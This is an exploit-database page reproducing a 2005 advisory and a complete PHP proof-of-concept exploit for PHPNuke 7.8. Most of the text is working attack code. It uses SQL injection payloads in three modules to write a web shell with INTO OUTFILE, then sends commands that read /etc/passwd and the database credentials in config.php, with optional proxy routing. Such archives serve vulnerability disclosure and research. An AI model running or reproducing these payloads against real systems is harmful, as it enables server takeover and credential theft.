Vulners
Lucene search
phpnuke78sql.txt
`PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"
SQL INjection -> remote commands execution poc exploit
there are a lot of unsanitized vars in every module, as I can see, so
if magic_quotes_gpc is Off -> SQL INJECTION
1) you can go to "Your Account" and submit a username like this:
' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*
login field is too small to do it manually but you can see my poc below
to create a shell.php file in a writable directory
then launch commands:
http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd
2) the same in "Downloads" module:
http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what
3) ... and in "Web_links" module:
http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what
I have not seen 7.9 version but it can be also vulnerable, try it on it,
this is my poc exploit:
<?php
# 20.05 23/10/2005 #
# #
# ---phpnuke_78_xpl.php #
# #
# PHPNuke 7.8 with all security fixes/patches "Downloads","Web_Links" & #
# "Your_Account" modules SQL Injection / remote commands execution exploit #
# (yet not tested 7.9, but OK...) #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: customize for your own pleasure, launch this script from Apache, #
# fill requested fields, then go! #
# #
# Sun-Tzu: "Standing on the defensive indicates insufficient strength; #
# attacking, a superabundance of strength" #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title> PHPNuke 7.8 remote commands execution </title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">
PHPNuke 7.8 (possibly prior versions) remote commands execution</p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /phpnuke/ or just /)
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) </span></p><p><input type="text" name="port" > <span
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command ,
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat
config.php to see database username and password</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen($host,$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }
}
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different Apache installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo $proxy;
# STEP 1 -> SQL injection in "Your_Account" module... inject a shell
$SQL="'UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo \"Hi Master\";ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);die;?>',0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_users/*";
$data="username=".urlencode($SQL)."&user_password=&redirect=&mode=&f=&t=&op=login";
$packet="POST ".$p."modules.php?name=Your_Account HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."modules.php?name=Your_Account\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Lycos_Spider_(T-Rex)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: lang=english\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
execute_commands();
#STEP 2 -> if STEP 1 failed, SQL Injection in "Downloads" module...
//we need to use backticks (shell operators, they are not quotes, some chars like ")" are not permitted in urls...
$SQL="' UNION SELECT '<?echo \'Hi Master\';print `\$_GET[cmd]`;?>' INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_downloads_downloads/*";
$packet="GET ".$p."modules.php?name=Downloads&d_op=Add&url=".urlencode($SQL)."&title=what&description=what HTTP/1.1\r\n";
$packet.="User-Agent: SearchExpress Spider0.99\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();
#STEP 3 -> if STEP 1 & 2 failed, SQL injection in "Web_Links" module...
$SQL="' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master<?print `\$_GET[cmd]`;?>',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_links_newlink/*";
$packet="GET ".$p."modules.php?name=Web_Links&l_op=Add&title=what&description=".urlencode($SQL)."&url=what HTTP/1.1\r\n";
$packet.="User-Agent: Web Link Validator 1.5\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();
//if you are here...
echo 'Exploit failed...';
}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta.it
original advisory: http://rgod.altervista.org/phpnuke78sql.html
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Oct 2005 00:00Current
7.4High risk
Vulners AI Score7.4